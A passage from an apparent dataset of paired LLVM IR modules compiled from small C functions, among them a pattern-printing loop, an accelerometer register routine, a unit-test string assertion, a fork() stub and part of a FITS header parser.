store i32 %62, ptr %2, align 4
%63 = load i32, ptr %4, align 4
%64 = load i32, ptr %3, align 4
%65 = sub nsw i32 %64, 1
%66 = icmp slt i32 %63, %65
br i1 %66, label %58, label %._crit_edge9, !llvm.loop !10
._crit_edge9: ; preds = %60
br label %67
67: ; preds = %._crit_edge9, %52
%68 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
store i32 1, ptr %4, align 4
%69 = load i32, ptr %4, align 4
%70 = load i32, ptr %3, align 4
%71 = sub nsw i32 %70, 1
%72 = icmp slt i32 %69, %71
br i1 %72, label %.lr.ph20, label %128
.lr.ph20: ; preds = %67
br label %73
73: ; preds = %.lr.ph20, %121
%74 = load i32, ptr %3, align 4
%75 = load i32, ptr %4, align 4
%76 = sub nsw i32 %74, %75
%77 = sub nsw i32 %76, 1
store i32 %77, ptr %2, align 4
%78 = load i32, ptr %2, align 4
%79 = icmp ne i32 %78, 0
br i1 %79, label %.lr.ph11, label %87
.lr.ph11: ; preds = %73
br label %80
80: ; preds = %.lr.ph11, %82
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %82
82: ; preds = %80
%83 = load i32, ptr %2, align 4
%84 = add nsw i32 %83, -1
store i32 %84, ptr %2, align 4
%85 = load i32, ptr %2, align 4
%86 = icmp ne i32 %85, 0
br i1 %86, label %80, label %._crit_edge12, !llvm.loop !11
._crit_edge12: ; preds = %82
br label %87
87: ; preds = %._crit_edge12, %73
%88 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %2, align 4
%89 = load i32, ptr %2, align 4
%90 = load i32, ptr %4, align 4
%91 = mul nsw i32 %90, 2
%92 = sub nsw i32 %91, 1
%93 = icmp slt i32 %89, %92
br i1 %93, label %.lr.ph14, label %104
.lr.ph14: ; preds = %87
br label %94
94: ; preds = %.lr.ph14, %96
%95 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
br label %96
96: ; preds = %94
%97 = load i32, ptr %2, align 4
%98 = add nsw i32 %97, 1
store i32 %98, ptr %2, align 4
%99 = load i32, ptr %2, align 4
%100 = load i32, ptr %4, align 4
%101 = mul nsw i32 %100, 2
%102 = sub nsw i32 %101, 1
%103 = icmp slt i32 %99, %102
br i1 %103, label %94, label %._crit_edge15, !llvm.loop !12
._crit_edge15: ; preds = %96
br label %104
104: ; preds = %._crit_edge15, %87
%105 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%106 = load i32, ptr %3, align 4
%107 = load i32, ptr %4, align 4
%108 = sub nsw i32 %106, %107
%109 = sub nsw i32 %108, 1
store i32 %109, ptr %2, align 4
%110 = load i32, ptr %2, align 4
%111 = icmp ne i32 %110, 0
br i1 %111, label %.lr.ph17, label %119
.lr.ph17: ; preds = %104
br label %112
112: ; preds = %.lr.ph17, %114
%113 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %114
114: ; preds = %112
%115 = load i32, ptr %2, align 4
%116 = add nsw i32 %115, -1
store i32 %116, ptr %2, align 4
%117 = load i32, ptr %2, align 4
%118 = icmp ne i32 %117, 0
br i1 %118, label %112, label %._crit_edge18, !llvm.loop !13
._crit_edge18: ; preds = %114
br label %119
119: ; preds = %._crit_edge18, %104
%120 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
br label %121
121: ; preds = %119
%122 = load i32, ptr %4, align 4
%123 = add nsw i32 %122, 1
store i32 %123, ptr %4, align 4
%124 = load i32, ptr %4, align 4
%125 = load i32, ptr %3, align 4
%126 = sub nsw i32 %125, 1
%127 = icmp slt i32 %124, %126
br i1 %127, label %73, label %._crit_edge21, !llvm.loop !14
._crit_edge21: ; preds = %121
br label %128
128: ; preds = %._crit_edge21, %67
store i32 0, ptr %2, align 4
%129 = load i32, ptr %2, align 4
%130 = load i32, ptr %3, align 4
%131 = mul nsw i32 %130, 2
%132 = sub nsw i32 %131, 1
%133 = icmp slt i32 %129, %132
br i1 %133, label %.lr.ph23, label %144
.lr.ph23: ; preds = %128
br label %134
134: ; preds = %.lr.ph23, %136
%135 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
br label %136
136: ; preds = %134
%137 = load i32, ptr %2, align 4
%138 = add nsw i32 %137, 1
store i32 %138, ptr %2, align 4
%139 = load i32, ptr %2, align 4
%140 = load i32, ptr %3, align 4
%141 = mul nsw i32 %140, 2
%142 = sub nsw i32 %141, 1
%143 = icmp slt i32 %139, %142
br i1 %143, label %134, label %._crit_edge24, !llvm.loop !15
._crit_edge24: ; preds = %136
br label %144
144: ; preds = %._crit_edge24, %128
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
|
; ModuleID = '/tmp/tmpcs396bx0.c'
source_filename = "/tmp/tmpcs396bx0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcs396bx0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpc7369cm0.c'
source_filename = "/tmp/tmpc7369cm0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @KIONIX_ACCEL_position_unmask_fu() #0 {
%1 = alloca i8, align 1
%2 = alloca i32, align 4
store i8 0, ptr %1, align 1
store i32 0, ptr %2, align 4
%3 = call i64 @KIONIX_ACCEL_read_bytes(i32 noundef 28, ptr noundef %1, i32 noundef 1)
%4 = icmp eq i64 %3, 0
br i1 %4, label %5, label %12
5: ; preds = %0
%6 = load i8, ptr %1, align 1
%7 = sext i8 %6 to i32
%8 = and i32 %7, -2
%9 = trunc i32 %8 to i8
store i8 %9, ptr %1, align 1
%10 = load i8, ptr %1, align 1
%11 = call i32 @KIONIX_ACCEL_write_byte(i32 noundef 28, i8 noundef signext %10)
br label %13
12: ; preds = %0
store i32 1, ptr %2, align 4
br label %13
13: ; preds = %12, %5
%14 = load i32, ptr %2, align 4
ret i32 %14
}
declare i64 @KIONIX_ACCEL_read_bytes(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @KIONIX_ACCEL_write_byte(i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpc7369cm0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @KIONIX_ACCEL_position_unmask_fu() #0 {
%1 = alloca i8, align 1
%2 = alloca i32, align 4
store i8 0, ptr %1, align 1
store i32 0, ptr %2, align 4
%3 = call i64 @KIONIX_ACCEL_read_bytes(i32 noundef 28, ptr noundef %1, i32 noundef 1)
%4 = icmp eq i64 %3, 0
br i1 %4, label %5, label %12
5: ; preds = %0
%6 = load i8, ptr %1, align 1
%7 = sext i8 %6 to i32
%8 = and i32 %7, -2
%9 = trunc i32 %8 to i8
store i8 %9, ptr %1, align 1
%10 = load i8, ptr %1, align 1
%11 = call i32 @KIONIX_ACCEL_write_byte(i32 noundef 28, i8 noundef signext %10)
br label %13
12: ; preds = %0
store i32 1, ptr %2, align 4
br label %13
13: ; preds = %12, %5
%14 = load i32, ptr %2, align 4
ret i32 %14
}
declare i64 @KIONIX_ACCEL_read_bytes(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @KIONIX_ACCEL_write_byte(i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsro7pi9z.c'
source_filename = "/tmp/tmpsro7pi9z.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ch_exit() #0 {
%1 = call i32 @toggle_reset(i32 noundef 0)
%2 = call i32 (...) @ch341Release()
%3 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare i32 @toggle_reset(i32 noundef) #1
declare i32 @ch341Release(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsro7pi9z.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ch_exit() #0 {
%1 = call i32 @toggle_reset(i32 noundef 0)
%2 = call i32 (...) @ch341Release()
%3 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare i32 @toggle_reset(i32 noundef) #1
declare i32 @ch341Release(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpw1ahxwvd.c'
source_filename = "/tmp/tmpw1ahxwvd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [31 x i8] c"Expected <NULL> but was <NULL>\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"Expected <NULL> but was \22%s\22\00", align 1
@.str.2 = private unnamed_addr constant [29 x i8] c"Expected \22%s\22 but was <NULL>\00", align 1
@.str.3 = private unnamed_addr constant [27 x i8] c"Expected \22%s\22 but was \22%s\22\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @stic_assert_string_equal(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca [100000 x i8], align 16
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%11 = load ptr, ptr %5, align 8
%12 = icmp eq ptr %11, null
br i1 %12, label %13, label %19
13: ; preds = %4
%14 = load ptr, ptr %6, align 8
%15 = icmp eq ptr %14, null
br i1 %15, label %16, label %19
16: ; preds = %13
%17 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%18 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %17, ptr noundef @.str)
store i32 1, ptr %9, align 4
br label %45
19: ; preds = %13, %4
%20 = load ptr, ptr %5, align 8
%21 = icmp eq ptr %20, null
br i1 %21, label %22, label %26
22: ; preds = %19
%23 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%24 = load ptr, ptr %6, align 8
%25 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %23, ptr noundef @.str.1, ptr noundef %24)
store i32 0, ptr %9, align 4
br label %44
26: ; preds = %19
%27 = load ptr, ptr %6, align 8
%28 = icmp eq ptr %27, null
br i1 %28, label %29, label %33
29: ; preds = %26
%30 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%31 = load ptr, ptr %5, align 8
%32 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %30, ptr noundef @.str.2, ptr noundef %31)
store i32 0, ptr %9, align 4
br label %43
33: ; preds = %26
%34 = load ptr, ptr %5, align 8
%35 = load ptr, ptr %6, align 8
%36 = call i64 @strcmp(ptr noundef %34, ptr noundef %35)
%37 = icmp eq i64 %36, 0
%38 = zext i1 %37 to i32
store i32 %38, ptr %9, align 4
%39 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%40 = load ptr, ptr %5, align 8
%41 = load ptr, ptr %6, align 8
%42 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %39, ptr noundef @.str.3, ptr noundef %40, ptr noundef %41)
br label %43
43: ; preds = %33, %29
br label %44
44: ; preds = %43, %22
br label %45
45: ; preds = %44, %16
%46 = load i32, ptr %9, align 4
%47 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%48 = load ptr, ptr %7, align 8
%49 = load i32, ptr %8, align 4
%50 = call i32 @stic_simple_test_result(i32 noundef %46, ptr noundef %47, ptr noundef %48, i32 noundef %49)
ret void
}
declare i32 @sprintf(ptr noundef, ptr noundef, ...) #1
declare i64 @strcmp(ptr noundef, ptr noundef) #1
declare i32 @stic_simple_test_result(i32 noundef, ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpw1ahxwvd.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [31 x i8] c"Expected <NULL> but was <NULL>\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"Expected <NULL> but was \22%s\22\00", align 1
@.str.2 = private unnamed_addr constant [29 x i8] c"Expected \22%s\22 but was <NULL>\00", align 1
@.str.3 = private unnamed_addr constant [27 x i8] c"Expected \22%s\22 but was \22%s\22\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @stic_assert_string_equal(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca [100000 x i8], align 16
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%11 = load ptr, ptr %5, align 8
%12 = icmp eq ptr %11, null
br i1 %12, label %13, label %19
13: ; preds = %4
%14 = load ptr, ptr %6, align 8
%15 = icmp eq ptr %14, null
br i1 %15, label %16, label %19
16: ; preds = %13
%17 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%18 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %17, ptr noundef @.str)
store i32 1, ptr %9, align 4
br label %45
19: ; preds = %13, %4
%20 = load ptr, ptr %5, align 8
%21 = icmp eq ptr %20, null
br i1 %21, label %22, label %26
22: ; preds = %19
%23 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%24 = load ptr, ptr %6, align 8
%25 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %23, ptr noundef @.str.1, ptr noundef %24)
store i32 0, ptr %9, align 4
br label %44
26: ; preds = %19
%27 = load ptr, ptr %6, align 8
%28 = icmp eq ptr %27, null
br i1 %28, label %29, label %33
29: ; preds = %26
%30 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%31 = load ptr, ptr %5, align 8
%32 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %30, ptr noundef @.str.2, ptr noundef %31)
store i32 0, ptr %9, align 4
br label %43
33: ; preds = %26
%34 = load ptr, ptr %5, align 8
%35 = load ptr, ptr %6, align 8
%36 = call i64 @strcmp(ptr noundef %34, ptr noundef %35)
%37 = icmp eq i64 %36, 0
%38 = zext i1 %37 to i32
store i32 %38, ptr %9, align 4
%39 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%40 = load ptr, ptr %5, align 8
%41 = load ptr, ptr %6, align 8
%42 = call i32 (ptr, ptr, ...) @sprintf(ptr noundef %39, ptr noundef @.str.3, ptr noundef %40, ptr noundef %41)
br label %43
43: ; preds = %33, %29
br label %44
44: ; preds = %43, %22
br label %45
45: ; preds = %44, %16
%46 = load i32, ptr %9, align 4
%47 = getelementptr inbounds [100000 x i8], ptr %10, i64 0, i64 0
%48 = load ptr, ptr %7, align 8
%49 = load i32, ptr %8, align 4
%50 = call i32 @stic_simple_test_result(i32 noundef %46, ptr noundef %47, ptr noundef %48, i32 noundef %49)
ret void
}
declare i32 @sprintf(ptr noundef, ptr noundef, ...) #1
declare i64 @strcmp(ptr noundef, ptr noundef) #1
declare i32 @stic_simple_test_result(i32 noundef, ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvaaut6v_.c'
source_filename = "/tmp/tmpvaaut6v_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@ENOMEM = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fork() #0 {
%1 = load i32, ptr @ENOMEM, align 4
store i32 %1, ptr @errno, align 4
ret i32 -1
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvaaut6v_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@ENOMEM = dso_local global i32 0, align 4
@errno = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fork() #0 {
%1 = load i32, ptr @ENOMEM, align 4
store i32 %1, ptr @errno, align 4
ret i32 -1
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_f9f_k5y.c'
source_filename = "/tmp/tmp_f9f_k5y.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"COMMENT \00", align 1
@.str.1 = private unnamed_addr constant [9 x i8] c"HISTORY \00", align 1
@.str.2 = private unnamed_addr constant [9 x i8] c"%-80.80s\00", align 1
@.str.3 = private unnamed_addr constant [33 x i8] c"%[-A-Z0-9_ ]%*[=] %*[']%[^']%c%n\00", align 1
@.str.4 = private unnamed_addr constant [13 x i8] c"%*[ /]%[ -\7F]\00", align 1
@.str.5 = private unnamed_addr constant [25 x i8] c"%[-A-Z0-9_ ]%*[=] %[']%n\00", align 1
@.str.6 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.7 = private unnamed_addr constant [31 x i8] c"%[-A-Z0-9_ ]%*[=] %[-+0-9.E]%n\00", align 1
@.str.8 = private unnamed_addr constant [27 x i8] c"%-8.8s= %20.20s / %-47.47s\00", align 1
@.str.9 = private unnamed_addr constant [36 x i8] c"%[-A-Z0-9_ ]%*[=] %[^/]%*[ /]%[ -\7F]\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @imh_reformat_fits(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca [9 x i8], align 1
%5 = alloca [81 x i8], align 16
%6 = alloca [50 x i8], align 16
%7 = alloca i8, align 1
%8 = alloca i32, align 4
%9 = alloca [162 x i8], align 16
store ptr %0, ptr %3, align 8
call void @llvm.memset.p0.i64(ptr align 1 %4, i8 0, i64 9, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %5, i8 0, i64 81, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %6, i8 0, i64 50, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %9, i8 0, i64 162, i1 false)
%10 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%11 = load ptr, ptr %3, align 8
%12 = call i32 @strncpy(ptr noundef %10, ptr noundef %11, i32 noundef 80)
%13 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 80
store i8 0, ptr %13, align 16
%14 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%15 = call i64 @strncmp(ptr noundef %14, ptr noundef @.str, i32 noundef 8)
%16 = icmp eq i64 %15, 0
br i1 %16, label %21, label %17
17: ; preds = %1
%18 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%19 = call i64 @strncmp(ptr noundef %18, ptr noundef @.str.1, i32 noundef 8)
%20 = icmp eq i64 %19, 0
br i1 %20, label %21, label %25
21: ; preds = %17, %1
%22 = load ptr, ptr %3, align 8
%23 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%24 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef %22, ptr noundef @.str.2, ptr noundef %23)
store i32 1, ptr %2, align 4
br label %89
25: ; preds = %17
%26 = getelementptr inbounds [162 x i8], ptr %9, i64 0, i64 0
%27 = getelementptr inbounds [9 x i8], ptr %4, i64 0, i64 0
%28 = getelementptr inbounds [81 x i8], ptr %5, i64 0, i64 0
%29 = call i32 (ptr, ptr, ptr, ...) @sscanf(ptr noundef %26, ptr noundef @.str.3, ptr noundef %27, ptr noundef %28, ptr noundef %7, ptr noundef %8)
%30 = icmp eq i32 %29, 3
